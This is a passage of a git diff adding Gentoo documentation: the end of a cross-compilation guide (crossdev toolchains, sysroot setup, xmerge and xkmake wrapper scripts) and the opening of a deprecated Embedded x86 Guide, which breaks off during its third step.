+Handbook which will also cover cross development with
+<uri link="http://www.gentoo.org/proj/en/hardened/index.xml">Hardened Gentoo</uri>,
+the creation of embedded filesystem images, testing with
+<uri link="http://fabrice.bellard.free.fr/qemu/">QEMU</uri>, deployment, and
+more.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Terminology</title>
+<body>
+
+<dl>
+  <dt><c>host system</c></dt>
+  <dd>The system used for cross development</dd>
+  <dt><c>sysroot</c></dt>
+  <dd>
+    Any directory on the host system where a toolchain is installed; can be
+    used as a secondary root filesystem hierarchy to provide a minimal
+    non-native environment for creating cross-compiled binaries
+  </dd>
+  <dt><c>target system</c></dt>
+  <dd>
+    The system the cross-compiled binaries will be deployed on
+  </dd>
+  <dt><c>toolchain</c></dt>
+  <dd>
+    A set of packages required to build binaries for modern Unix-like operating
+    systems
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section>
+<title>The Gentoo toolchain</title>
+<body>
+
+<p>
+The Gentoo toolchain consists of the following packages:
+</p>
+
+<ul>
+  <li><c>binutils</c> – Essential utilities for handling binaries</li>
+  <li><c>gcc</c> – The GNU Compiler Collection</li>
+  <li><c>glibc</c> – The GNU C Library</li>
+  <li>
+    <c>uclibc</c> – A lean drop-in replacement for glibc optimized for embedded
+    systems
+  </li>
+  <li><c>linux-headers</c> – Kernel headers needed by system libc</li>
+  <li><c>gdb</c> – Optional, for debugging binaries</li>
+</ul>
+
+<p>
+All proper Gentoo systems have a toolchain installed as part of the base
+system. This toolchain is configured to build binaries native to its host
+platform.
+</p>
+
+<p>
+In order to build binaries on the host system for a non-native platform
+you'll need a special toolchain—a so-called <e>cross toolchain</e>—which can
+target that particular platform. Gentoo provides a simple but powerful tool
+called <c>crossdev</c> for this purpose. Crossdev can build and install
+arbitrary GCC-supported cross toolchains on the host system, and because
+Gentoo installs toolchain files into target-specific directories the toolchains
+built by crossdev won't interfere with the host's native toolchain.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Environment variables</title>
+<body>
+
+<p>
+Certain environment variables used by the Gentoo toolchain and Portage can
+thoroughly confuse developers inexperienced with cross development. The
+following table explains some tricky variables and provides sample values based
+on the cross development examples presented in this guide.
+</p>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Meaning When Building Cross Toolchain</th>
+  <th>Meaning When Building Cross Binaries</th>
+</tr>
+<tr>
+  <ti>CBUILD</ti>
+  <ti>
+    Platform used to build the cross toolchain.
+    Example: <c>CBUILD="i686-pc-linux-gnu"</c>
+  </ti>
+  <ti>
+    Platform used to build the cross binary.
+    Example: <c>CBUILD="i686-pc-linux-gnu"</c>
+  </ti>
+</tr>
+<tr>
+  <ti>CHOST</ti>
+  <ti>
+    Platform running the cross toolchain.
+    Example: <c>CHOST="i686-pc-linux-gnu"</c>
+  </ti>
+  <ti>
+    Platform hosting the cross binary.
+    Example: <c>CHOST="powerpc-softfloat-linux-uclibc"</c>
+  </ti>
+</tr>
+<tr>
+  <ti>CTARGET</ti>
+  <ti>
+    Platform the cross toolchain produces binaries for.
+    Example: <c>CTARGET="powerpc-softfloat-linux-uclibc"</c>
+  </ti>
+  <ti>
+    Platform running the cross binary.
+    Example: <c>CTARGET="powerpc-softfloat-linux-uclibc"</c>
+  </ti>
+</tr>
+<tr>
+  <ti>ROOT</ti>
+  <ti colspan="2">
+    Directory containing the filesystem where <c>emerge</c> should install
+    packages. Default value is <c>"/"</c>.
+    Example: <c>ROOT="/usr/powerpc-softfloat-linux-uclibc"</c>
+  </ti>
+</tr>
+<tr>
+  <ti>PORTAGE_CONFIGROOT</ti>
+  <ti colspan="2">
+    Directory containing the filesystem from which <c>emerge</c> should read
+    Portage configuration files. Often you will want to point this to the same
+    directory as <c>ROOT</c>. Default value is <c>"/"</c>. Example:
+    <c>PORTAGE_CONFIGROOT="/usr/powerpc-softfloat-linux-uclibc"</c>
+  </ti>
+</tr>
+</table>
+
+<note>
+The <c>PORTAGE_CONFIGROOT</c> feature was introduced in
+<c>portage-2.1_pre10-r1</c>.
+</note>
+
+</body>
+</section>
+
+<section id="machine_names">
+<title>Canonicalized machine names</title>
+<body>
+
+<p>
+Values for <c>CBUILD</c>, <c>CHOST</c>, and <c>CTARGET</c>, such as
+<c>i686-pc-linux-gnu</c> and <c>powerpc-softfloat-linux-uclibc</c>, may seem
+arbitrary but they're actually machine names in canonicalized form.
+Canonicalized machine names consist of up to four dash-separated fields which
+must occur in the following order:
+</p>
+
+<dl>
+  <dt></dt>
+  <dd><b>arch-vendor-OS-libc</b></dd>
+</dl>
+
+<p>
+<e>arch</e> specifies the CPU architecture, <e>vendor</e> specifies the
+hardware platform or vendor, <e>OS</e> is the operating system, and <e>libc</e>
+is the C library to use. Only <e>arch</e> is strictly required in all
+cases—if you omit one or more of the remaining fields crossdev attempts to fill
+in the missing values with its best guess. Nevertheless—for Linux machines at
+least—it's good practice to specify all four fields. The <e>libc</e> field is
+<e>not supported</e> for
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/index.xml">
+Gentoo/FreeBSD</uri>, so for these machines it must always be omitted.
+</p>
+
+<p>
+The following table lists field values known to work with crossdev, including
+some special machine names which don't follow the naming convention just
+described.
+</p>
+
+<table>
+<tr>
+  <th>CPU Architecture</th>
+  <th>Hardware Platform or Vendor</th>
+  <th>Operating System</th>
+  <th>C Library</th>
+</tr>
+<tr>
+  <ti>
+    alpha<br/>
+    arm / armeb<br/>
+    bfin<br/>
+    cris<br/>
+    hppa / hppa1.1 / hppa2.0 / hppa64<br/>
+    i386 / i486 / i586 / i686<br/>
+    ia64<br/>
+    m68k<br/>
+    mips / mipsel / mips64 / mips64el<br/>
+    nios2<br/>
+    powerpc / powerpc64<br/>
+    s390 / s390x<br/>
+    sh / sheb / sh4 / sh4eb / sh64<br/>
+    sparc / sparc64<br/>
+    vax<br/>
+    x86_64<br/>
+  </ti>
+  <ti>
+    gentoo<br/>
+    pc<br/>
+    softfloat<br/>
+    unknown<br/>
+  </ti>
+  <ti>
+    elf<br/>
+    freebsd6.0<br/>
+    freebsd6.1<br/>
+    linux<br/>
+    uclinux<br/>
+  </ti>
+  <ti>
+    eabi<br/>
+    gnu <sup>*</sup><br/>
+    gnueabi<br/>
+    uclibc<br/>
+  </ti>
+</tr>
+<tr>
+  <th colspan="4">Special Machine Names</th>
+</tr>
+<tr>
+  <ti colspan="4">
+    avr<br/>
+    ee / iop / dvp<br/>
+    msp430<br/>
+  </ti>
+</tr>
+</table>
+
+<p>
+<e><sup>*</sup> Specifies glibc</e>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Examples used in this guide</title>
+<body>
+
+<p>
+The example host system we'll use is an Athlon XP running Gentoo Linux with
+glibc. This means that when building the cross toolchain, the value of
+<c>CHOST</c> should be <c>i686-pc-linux-gnu</c>, and—whether building the cross
+toolchain or cross binaries—<c>CBUILD</c> should <e>always</e> be set to
+<c>i686-pc-linux-gnu</c>.
+</p>
+
+<p>
+The example target system will be an embedded PowerPC 405 based Linux system
+using <uri link="http://uclibc.org">uClibc</uri>. Since the PowerPC 405
+processor has no floating point unit we should include the
+<uri link="http://www.jhauser.us/arithmetic/SoftFloat.html">SoftFloat</uri>
+library when building our cross GCC. This gives us a <c>CTARGET</c> value of
+<c>powerpc-softfloat-linux-uclibc</c>. When building cross binaries, the value
+of <c>CHOST</c> should also be <c>powerpc-softfloat-linux-uclibc</c>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Useful utilities for general cross development</title>
+<body>
+
+<ul>
+  <li><c>binutils-config</c> – Manages slotted versions of binutils</li>
+  <li><c>gcc-config</c> – Manges slotted versions of gcc</li>
+  <li>
+    <c>crossdev</c> – Builds and installs slotted toolchains for arbitrary
+    GCC-supported platforms
+  </li>
+  <li>
+    <c>qpkg</c> – Creates binary packages from cross-compiled ebuilds on the
+    sysroot
+  </li>
+</ul>
+
+<p>
+We'll be using all of these, so now is a good time to install those which
+aren't already installed by default:
+</p>
+
+<pre caption="Installing tools for cross development">
+# <i>emerge --sync</i>
+# <i>emerge -av portage-utils crossdev</i>
+</pre>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Building a Cross Toolchain</title>
+
+<section>
+<title></title>
+<body>
+
+<p>
+The first thing you should know about building a toolchain is that some
+versions of toolchain components refuse to work together. Exactly which
+combinations are problematic is a matter that's constantly in flux as the
+Portage tree evolves. The only reliable way to determine what works is to run
+crossdev, adjusting individual component versions as necessary, until crossdev
+completes the toolchain build successfully. Even then, the cross toolchain may
+build binaries which break on the target system. Only through trial and error
+and patience will you arrive at a favorable combination of all factors.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Using crossdev</title>
+<body>
+
+<p>
+For our <c>powerpc-softfloat-linux-uclibc</c> example we'll be using a highly
+specific combination of toolchain components that is known to work at the time
+of this writing.
+</p>
+
+<p>
+Open a terminal and do:
+</p>
+
+<pre caption="Building a toolchain with crossdev">
+# <i>USE="-*" crossdev -p -v \
+--binutils 2.16.92 \
+--gcc 3.4.6-r1 \
+--kernel 2.6.11-r4 \
+--libc 0.9.28 \
+--ex-gdb \
+--target powerpc-softfloat-linux-uclibc</i>
+</pre>
+
+<p>
+If the output of the practice run looks correct, remove the <c>-p</c> option
+and run the command again to actually build the toolchain. Crossdev will build
+it in the following order:
+</p>
+
+<ul>
+  <li><c>binutils</c></li>
+  <li>
+    <c>gcc</c> – bootstrap stage, with SoftFloat; no g++ support
+  </li>
+  <li><c>linux-headers</c></li>
+  <li><c>uclibc</c></li>
+  <li><c>gcc</c> – second stage, adding g++ support</li>
+  <li><c>gdb</c> – latest version</li>
+</ul>
+
+<p>
+The completed toolchain will be installed to <path>/usr/$CTARGET</path>, which
+in this case is <path>/usr/powerpc-softfloat-linux-uclibc</path>. This
+directory is referred to as a <e>sysroot</e>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Using gcc-config to set the crosscompiler spec on a hardened host system</title>
+<body>
+
+<p>
+If the host system was using a
+<uri link="http://www.gentoo.org/proj/en/hardened/primer.xml">hardened</uri>
+Portage profile when the cross toolchain was built, you'll need to manually
+adjust the active crosscompiler spec to use a non-hardened toolchain because by
+default crossdev will set a hardened spec for the crosscompiler. If however you
+do want to use the hardened toolchain for cross-compiling, you may skip to the
+<uri link="#binutils_config">next section</uri>.
+</p>
+
+<pre caption="Selecting a non-hardened crosscompiler spec on a hardened host system">
+# <i>gcc-config powerpc-softfloat-linux-uclibc-3.4.6-vanilla</i>
+# <i>source /etc/profile</i>
+</pre>
+
+<p>
+This won't affect the host system's native compiler settings. To confirm:
+</p>
+
+<pre caption="Listing installed and active compilers">
+# <i>gcc-config -l</i>
+</pre>
+
+<p>
+The host system's native compiler will be marked with a green asterisk
+(<b>*</b>) and the crosscompiler will be marked with a light blue asterisk.
+</p>
+
+</body>
+</section>
+
+<section id="binutils_config">
+<title>Using binutils-config</title>
+<body>
+
+<p>
+We won't need to for the examples in this guide, but for reference, you can
+manually set the active binutils for the cross toolchain using
+<c>binutils-config</c>. Usage is similar to <c>gcc-config</c>; see
+<c>binutils-config --help</c>. In most cases the binutils selected
+automatically during a cross emerge is the one you want.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Removing the cross toolchain</title>
+<body>
+
+<p>
+If at any time you wish to completely remove the cross toolchain built by
+crossdev, do:
+</p>
+
+<pre caption="Removing the powerpc-softfloat-linux-uclibc cross toolchain">
+# <i>crossdev -C powerpc-softfloat-linux-uclibc</i>
+</pre>
+
+<note>
+When prompted to confirm directory removals it's safe to answer <c>y</c> for
+all.
+</note>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter id="preparing_host">
+<title>Preparing the Host Environment</title>
+
+<section>
+<title>Setting up sysroot for cross development</title>
+<body>
+
+<p>
+When cross developing, you'll usually want to avoid polluting the host system's
+environment with the products of cross development activity, and to also
+provide Portage with an alternate configuration and environment for cross
+emerge operations. The simplest solution for this is to use sysroot.
+</p>
+
+<p>
+For convenience let's set the environment variable <c>SYSROOT</c> on our host
+system to point to the directory of the cross toolchain we'll be working with.
+</p>
+
+<pre caption="Setting the value of SYSROOT">
+# <i>export SYSROOT="/usr/powerpc-softfloat-linux-uclibc"</i>
+</pre>
+
+<p>
+This variable should remain set while performing the tasks outlined in this
+guide. Add it to your <c>.bashrc</c> to make it persistent across terminal
+sessions.
+</p>
+
+<pre caption="Adding SYSROOT to ~/.bashrc">
+# <i>echo 'export SYSROOT="/usr/powerpc-softfloat-linux-uclibc"' >> ~/.bashrc</i>
+</pre>
+
+<p>
+Create a <path>$SYSROOT/etc/make.conf</path> file, and assign any path-related
+values in it as if <c>SYSROOT</c> were simply <path>/</path>. <c>emerge</c>
+should automatically adjust these values whenever <c>ROOT</c> and
+<c>PORTAGE_CONFIGROOT</c> are set to something other than <path>/</path>.
+Here's the <c>make.conf</c> we'll use:
+</p>
+
+<pre caption="$SYSROOT/etc/make.conf">
+<ident>ACCEPT_KEYWORDS</ident>=<const>"ppc"</const>
+<ident>ARCH</ident>=<const>"ppc"</const>
+<ident>CFLAGS</ident>=<const>"-Os -pipe"</const>
+<ident>CHOST</ident>=<const>"powerpc-softfloat-linux-uclibc"</const>
+<ident>CXXFLAGS</ident>=<const>"${CFLAGS}"</const>
+<ident>GENTOO_MIRRORS</ident>=<const>"http://open-systems.ufl.edu/mirrors/gentoo \
+    http://prometheus.cs.wmich.edu/gentoo \
+    http://mirror.datapipe.net/gentoo \
+    http://ftp.ucsb.edu/pub/mirrors/linux/gentoo/"</const>
+<ident>INPUT_DEVICES</ident>=<const>"keyboard"</const>
+<ident>MAKEOPTS</ident>=<const>"-j2"</const>
+<ident>USE</ident>=<const>"ppc symlink"</const>
+</pre>
+
+<p>
+Copy the host system's <path>/etc/make.globals</path> to the sysroot and create
+the directory for local profile configuration files:
+</p>
+
+<pre caption="Creating $SYSROOT/etc/make.globals">
+# <i>cp /etc/make.globals "${SYSROOT}/etc"</i>
+# <i>mkdir -p "${SYSROOT}/etc/portage/profile"</i>
+</pre>
+
+<p>
+We need to create a symlink for the sysroot Portage profile. Our example target
+system calls for uClibc, so we'll choose a pre-existing Portage profile for a
+minimal PPC uClibc base system:
+</p>
+
+<pre caption="Setting the sysroot Portage profile">
+# <i>ln -sn /usr/portage/profiles/uclibc/ppc "${SYSROOT}/etc/make.profile"</i>
+</pre>
+
+</body>
+</section>
+
+<section id="xmerge">
+<title>xmerge: A simple cross emerge wrapper</title>
+<body>
+
+<p>
+Creating cross-compiled binaries usually entails using <c>emerge</c> in
+conjunction with a few modified environment variables. This can become tedious,
+so we can make things easier by handling everything in a script that wraps
+<c>emerge</c>. Here's an example of such a wrapper we'll call <c>xmerge</c>:
+</p>
+
+<pre caption="xmerge">
+<comment>#!/bin/bash</comment>
+<ident>CBUILD</ident>=<var>$(<keyword>portageq</keyword> <keyword>envvar</keyword> <ident>CHOST</ident>)</var>
+<ident>PORTAGE_CONFIGROOT</ident>=<const>"$SYSROOT"</const>
+<keyword>if</keyword> [[ <const>"$1"</const> == <const>"--root"</const> ]] ; <keyword>then</keyword>
+    <ident>ROOT</ident>=<const>"$2"</const>
+    <keyword>shift 2</keyword>
+<keyword>else</keyword>
+    <ident>ROOT</ident>=<const>"$SYSROOT"</const>
+<keyword>fi</keyword>
+<keyword>export</keyword> <ident>CBUILD</ident> <ident>PORTAGE_CONFIGROOT</ident> <ident>ROOT</ident>
+
+<keyword>emerge</keyword> <var>$*</var>
+</pre>
+
+<p>
+Make this script executable and save it somewhere in the host system's
+<c>PATH</c>.
+</p>
+
+<p>
+By default <c>xmerge</c> will install ebuilds to <c>SYSROOT</c>, using the
+Portage configuration located there. You may specify an alternate location by
+invoking <c>xmerge</c> with the <c>--root <e>directory</e></c> option.
+</p>
+
+</body>
+</section>
+
+<section id="xkmake">
+<title>xkmake: A cross kernel make wrapper</title>
+<body>
+
+<p>
+We'll also want a convenience wrapper for cross kernel <c>make</c> operations:
+</p>
+
+<pre caption="xkmake">
+<comment>#!/bin/bash</comment>
+<keyword>make</keyword> <ident>ARCH</ident>=<const>"ppc"</const> <ident>CROSS_COMPILE</ident>=<const>"powerpc-softfloat-linux-uclibc-"</const> <ident>INSTALL_MOD_PATH</ident>=<const>"$SYSROOT"</const> <var>$*</var>
+</pre>
+
+<p>
+Call this script <c>xkmake</c>, make it executable, and put it somewhere in
+the host system's <c>PATH</c>. The value for <c>ARCH</c> should reflect the
+target system's CPU architecture (see
+<uri link="#machine_names">Canonicalized machine names</uri>) and
+<c>CROSS_COMPILE</c> should be the same value as <c>CTARGET</c> but appended
+with a dash.
+</p>
+
+<p>
+Always use this make wrapper when working with kernel sources in the sysroot.
+Usage is identical to how you would normally use <c>make</c> within the kernel
+source tree.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Cross-compiling Binary Packages</title>
+
+<section>
+<title>General cross-compilation using emerge</title>
+<body>
+
+<p>
+Before cross emerging, you need to assign the appropriate values to <c>ROOT</c>
+and if applicable, <c>PORTAGE_CONFIGROOT</c>. You might also need to modify
+<c>CBUILD</c>. Our <uri link="#xmerge">xmerge</uri> script handles all of this,
+as does
+<uri link="http://tinderbox.x86.dev.gentoo.org/misc/cmerge">cmerge</uri>, an
+<c>emerge</c> wrapper with more sophisticated capabilities.
+</p>
+
+<note>
+cmerge is planned for future inclusion in the crossdev package.
+</note>
+
+<p>
+For example, if we want to cross emerge ntp to the sysroot, we'd do:
+</p>
+
+<pre caption="Cross emerging ntp, the tedious way">
+# <i>CBUILD="i686-pc-linux-gnu" ROOT="$SYSROOT" PORTAGE_CONFIGROOT="$SYSROOT" emerge -av ntp</i>
+</pre>
+
+<p>
+Or, using our wrapper, simply:
+</p>
+
+<pre caption="Cross emerging ntp, the easy way">
+# <i>xmerge -av ntp</i>
+</pre>
+
+<warn>
+<c>xmerge</c> defaults to <c>ROOT=$SYSROOT</c>. Because <c>SYSROOT</c> is where
+the cross toolchain is hosted on the host system, if you need to cross emerge
+any toolchain components (<e>i.e.</e> gcc, system libc, binutils, kernel
+headers, or gdb) for hosting on the target system, you <e>do not</e> want to use
+<c>ROOT=$SYSROOT</c>; use the <c>--root</c> option to specify a different
+directory instead. If you ignore this warning, you will end up overwriting your
+cross toolchain with the target system's toolchain components and breaking cross
+emerging completely, and the only way to fix it will be to delete your
+<c>SYSROOT</c> directory and rebuild your cross toolchain.
+</warn>
+
+</body>
+</section>
+
+<section id="qpkg">
+<title>Preparing cross-compiled packages for deployment with qpkg</title>
+<body>
+
+<p>
+Packages cross emerged to the sysroot can easily be packaged for deployment
+using <c>qpkg</c>.
+</p>
+
+<pre caption="Creating a binary package">
+# <i>ROOT="$SYSROOT" qpkg -P "${SYSROOT}/var/tmp/binpkgs" ntp</i>
+</pre>
+
+<p>
+The package is tarred, bzipped, and saved to
+<path>$SYSROOT/var/tmp/binpkgs</path> with a <c>.tbz2</c> extension.
+</p>
+
+<note>
+The <c>-P</c> option was introduced into <c>qpkg</c> in
+<c>portage-utils-0.1.17</c>.
+</note>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Cross-compiling a Kernel</title>
+
+<section>
+<title></title>
+<body>
+
+<p>
+Install the kernel sources to the sysroot.
+</p>
+
+<pre caption="Installing kernel sources for the target system">
+# <i>xmerge -av gentoo-sources</i>
+</pre>
+
+<p>
+Configure and cross-compile the kernel and its modules using
+<uri link="#xkmake">xkmake</uri>:
+</p>
+
+<pre caption="Configuring and cross-compiling a kernel">
+# <i>cd "${SYSROOT}/usr/src/linux"</i>
+# <i>xkmake menuconfig</i>
+# <i>xkmake</i>
+</pre>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Acknowledgments</title>
+
+<section>
+<title></title>
+<body>
+
+<p>
+The author thanks Mike Frysinger, Ned Ludd, Peter S. Mazinger, and Diego
+Pettenò for sharing their expertise during the preparation of this guide, and
+Joakim Tjernlund for bug extermination.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Resources</title>
+
+<section>
+<title></title>
+<body>
+
+<p>
+Pre-compiled Gentoo cross toolchains for x86 host systems
+</p>
+
+<ul>
+  <li><uri>http://tinderbox.dev.gentoo.org/cross-x86/</uri></li>
+  <li><uri>ftp://tinderbox.dev.gentoo.org/cross-x86/</uri></li>
+</ul>
+
+<p>
+DistCC Cross-compiling Guide
+</p>
+
+<ul>
+  <li><uri>http://www.gentoo.org/doc/en/cross-compiling-distcc.xml</uri></li>
+</ul>
+
+<p>
+Building a Gentoo/FreeBSD cross toolchain
+</p>
+
+<ul>
+  <li>
+    <uri>http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/#doc_chap5</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/embedded/embedded-guide.xml b/xml/htdocs/proj/en/base/embedded/embedded-guide.xml
new file mode 100644
index 00000000..15253511
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/embedded-guide.xml
@@ -0,0 +1,608 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/embedded-guide.xml,v 1.2 2007/12/24 20:30:06 vapier Exp $ -->
+
+<guide link="/doc/en/embedded-guide.xml">
+<title>Gentoo Embedded x86 Guide</title>
+
+<author title="Author">
+  <mail link="liquidcable@gmail.com">Heath Holcomb</mail>
+</author>
+<author title="Contributor">
+  Ned Ludd
+</author>
+<author title="Contributor">
+  Lloyd Sargent
+</author>
+<author title="Contributor">
+  Yuri Vasilevski
+</author>
+<author title="Contributor">
+  Mike George
+</author>
+<author title="Contributor">
+  Marius Schaefer
+</author>
+<author title="Contributor">
+  Pierre Cassimans
+</author>
+
+<abstract>
+This document is a guide to build a x86 Gentoo embedded build.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.10</version>
+<date>2005-11-02</date>
+
+<chapter>
+<title>Deprecated</title>
+<section>
+<body>
+<p>
+This guide is outdated by the <uri link="handbook">Embedded Handbook</uri>.
+Please use that from now on.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>What is Gentoo Embedded?</title>
+<body>
+<p>
+From the <uri link="http://www.gentoo.org/proj/en/base/embedded/index.xml">Gentoo Embedded website</uri> :
+</p>
+<p>
+This project manages embedded system support in Gentoo. The project is responsible for overseeing the 
+build infrastructure for creating images to be installed onto embedded systems. Also included is the 
+support of specific types of embedded systems and development tools.
+</p>
+</body>
+</section>
+
+<section>
+<title>What is x86 Gentoo Embedded?</title>
+<body>
+<p>
+x86 Gentoo Embedded is simply embedded Gentoo for the x86 architecture (think Intel, AMD, and Via processors).
+It's main purpose is for embedded SBCs (single board computers) based on the x86 architecture were a small
+non-volatile (flash, compact flash, DiskOnChip) footprint is needed (as low as 10 MB).
+</p>
+</body>
+</section>
+
+<section>
+<title>Definitions and Terms</title>
+<body>
+<table>
+<tr>
+<th>Term</th>
+<th>Definition</th>
+</tr>
+<tr>
+<ti>rootfs</ti>
+<ti>root filing systems, / and everything underneath it</ti>
+</tr>
+<tr>
+<ti>system_rootfs</ti>
+<ti>your regular rootfs, development computer</ti>
+</tr>
+<tr>
+<ti>development_rootfs</ti>
+<ti>what you use to build the embedded_rootfs</ti>
+</tr>
+<tr>
+<ti>embedded_rootfs</ti>
+<ti>rootfs you deploy to the target system</ti>
+</tr>
+<tr>
+<ti>SBC</ti>
+<ti>single board computer (here it's an x86 based)</ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>Overview of Process (steps)</title>
+<body>
+<table>
+<tr>
+<th>Step #</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>1</ti>
+<ti>Prepare the development_rootfs from your system_rootfs</ti>
+</tr>
+<tr>
+<ti>2</ti>
+<ti>Build the development_rootfs</ti>
+</tr>
+<tr>
+<ti>3</ti>
+<ti>Build the embedded_rootfs</ti>
+</tr>
+<tr>
+<ti>4</ti>
+<ti>Build and install non-system programs to the embedded_rootfs</ti>
+</tr>
+<tr>
+<ti>5</ti>
+<ti>Build and install a kernel to the embedded_rootfs</ti>
+</tr>
+<tr>
+<ti>6</ti>
+<ti>Deploy embedded_rootfs to target</ti>
+</tr>
+</table>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+
+<title>Step 1 - Prepare the development_rootfs from your system_rootfs</title>
+<section>
+<title>You must be root, and cd to the working directory (/opt).</title>
+<body>
+<pre caption="need to root and set work directory">
+# <i>su -</i>
+# <i>cd /opt</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Create development_rootfs</title>
+<body>
+<p>
+Create the development_rootfs directory. 
+I use i586 because of target is a Geode processor.
+</p>
+<pre caption="Create the development_rootfs directory">
+# <i>mkdir -p /opt/i586-gentoo-uclibc-linux/usr/portage</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Download stage 1 embedded Gentoo tarball.</title>
+<body>
+<p>
+Download the latest stage 1 tarball.  
+It's a stage 1 tarball utilizing uclibc.
+</p>
+<pre caption="download the latest stage 1 tarball">
+# <i>wget \
+http://mirror.usu.edu/mirrors/gentoo/experimental/x86/embedded/stages/\
+stage1-x86-uclibc-2005.0.tar.bz2</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Untar stage.</title>
+<body>
+<p>
+Untar the stage to the development_rootfs.
+</p>
+<pre caption="untar the stage to the development_rootfs">
+# <i>tar -xvjpf stage1-x86-uclibc-2005.0.tar.bz2 -C /opt/i586-gentoo-uclibc-linux/</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Mount needed directories.</title>
+<body>
+<p>
+Mount the proc and portage directories to your development_rootfs.
+Makes your system_rootfs's proc and portage directory available from inside of your development_rootfs (after chrooting).
+</p>
+<pre caption="mount proc and portage">
+# <i>mount --bind /proc /opt/i586-gentoo-uclibc-linux/proc/</i>
+# <i>mount --bind /usr/portage /opt/i586-gentoo-uclibc-linux/usr/portage</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Copy DNS info.</title>
+<body>
+<p>Copy over DNS information to the development_rootfs.</p>
+<pre caption="copy DNS info">
+# <i>cp /etc/resolv.conf /opt/i586-gentoo-uclibc-linux/etc/resolv.conf</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Chroot.</title>
+<body>
+<p>Chroot into the development_rootfs.</p>
+<pre caption="chroot">
+# <i>chroot /opt/i586-gentoo-uclibc-linux /bin/bash --login</i>
+</pre>
+</body>
+</section>
+
+</chapter>
+
+
+<chapter>
+<title>Step 2 - Build the development_rootfs</title>
+
+<section>
+<title>Create new environment and load variables into memory.</title>
+<body>
+<pre caption="">
+# <i>env-update</i>
+# <i>source /etc/profile</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Modify make.conf.</title>
+<body>
+<p>
+Modify make.conf file to your liking/needs. This is for my target, Geode x86 processor.
+</p>
+<p>
+Possible values for UCLIBC_CPU : 386, 486, ELAN, 586, 586MMX, 686, PENTIUMII, 
+PENTIUMIII, PENTIUM4, K6, K7, CRUSOE, WINCHIPC6, WINCHIP2, CYRIXIII, NEHEMIAH
+</p>
+<pre caption="make.conf">
+# <i>nano -w /etc/make.conf</i>
+
+USE="bitmap-fonts minimal truetype-fonts mmx"
+CHOST="i586-gentoo-linux-uclibc"
+CFLAGS="-march=i586 -Os -pipe -fomit-frame-pointer -mmmx"
+CXXFLAGS="${CFLAGS}"
+FEATURES="buildpkg"
+
+VIDEO_CARDS="chips"
+UCLIBC_CPU="586MMX"
+
+</pre>
+</body>
+</section>
+
+<section>
+<title>Set profile to use 2.6 kernel.</title>
+<body>
+<pre caption="set profile to 2.6">
+# <i>cd /etc/</i>
+# <i>unlink make.profile</i>
+# <i>ln -s ../usr/portage/profiles/uclibc/x86/2005.1 make.profile</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Start the bootstrap script.</title>
+<body>
+<pre caption="bootstrap">
+# <i>cd /usr/portage/scripts</i>
+# <i>./bootstrap.sh -p -v</i>
+# <i>./bootstrap.sh</i>
+
+<comment>Workaround - bootstraping
+Failure compiling uclibc (gcc-config error: Could not run/locate "gcc")?
+If you get a failure while bootstrap is compiling uclibc here are the steps
+to work around the problem.</comment>
+# <i>gcc-config 1</i>
+# <i>source /etc/profile</i>
+# <i>./bootstrap.sh</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Emerge the system ebuild for the development_rootfs.</title>
+<body>
+<pre caption="emerge system">
+# <i>emerge -e system</i>
+
+<comment>Workaround - emerge system
+During emerge -e system, python-fchksum fails complaing about
+gcc-config error: Could not run/locate "i386-gentoo-linux-uclibc-gcc"
+The following commands work around this problem.</comment>
+# <i>emerge python</i>
+# <i>emerge -e system</i>
+</pre>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Step 3 - Build the embedded_rootfs</title>
+
+<section>
+<title>Create the embedded_rootfs directory.</title>
+<body>
+<pre caption="mkdir">
+# <i>mkdir /embedded_rootfs</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Emerge baselayout-lite into embedded_rootfs.</title>
+<body>
+<pre caption="emerge baselayout-lite">
+# <i>cd /usr/portage/sys-apps/baselayout-lite/</i>
+# <i>ROOT=/embedded_rootfs emerge baselayout-lite-1.0_pre1.ebuild</i>
+
+<comment>Workaround - baselayout-lite
+Baselayout-lite is still beta, so a few fixes are needed.
+There needs to be a directory "log" in /var.
+Inittab calls for /usr/bin/tail, but it needs to /usr/bin.</comment>
+# <i>mkdir /embedded_rootfs/var/log</i>
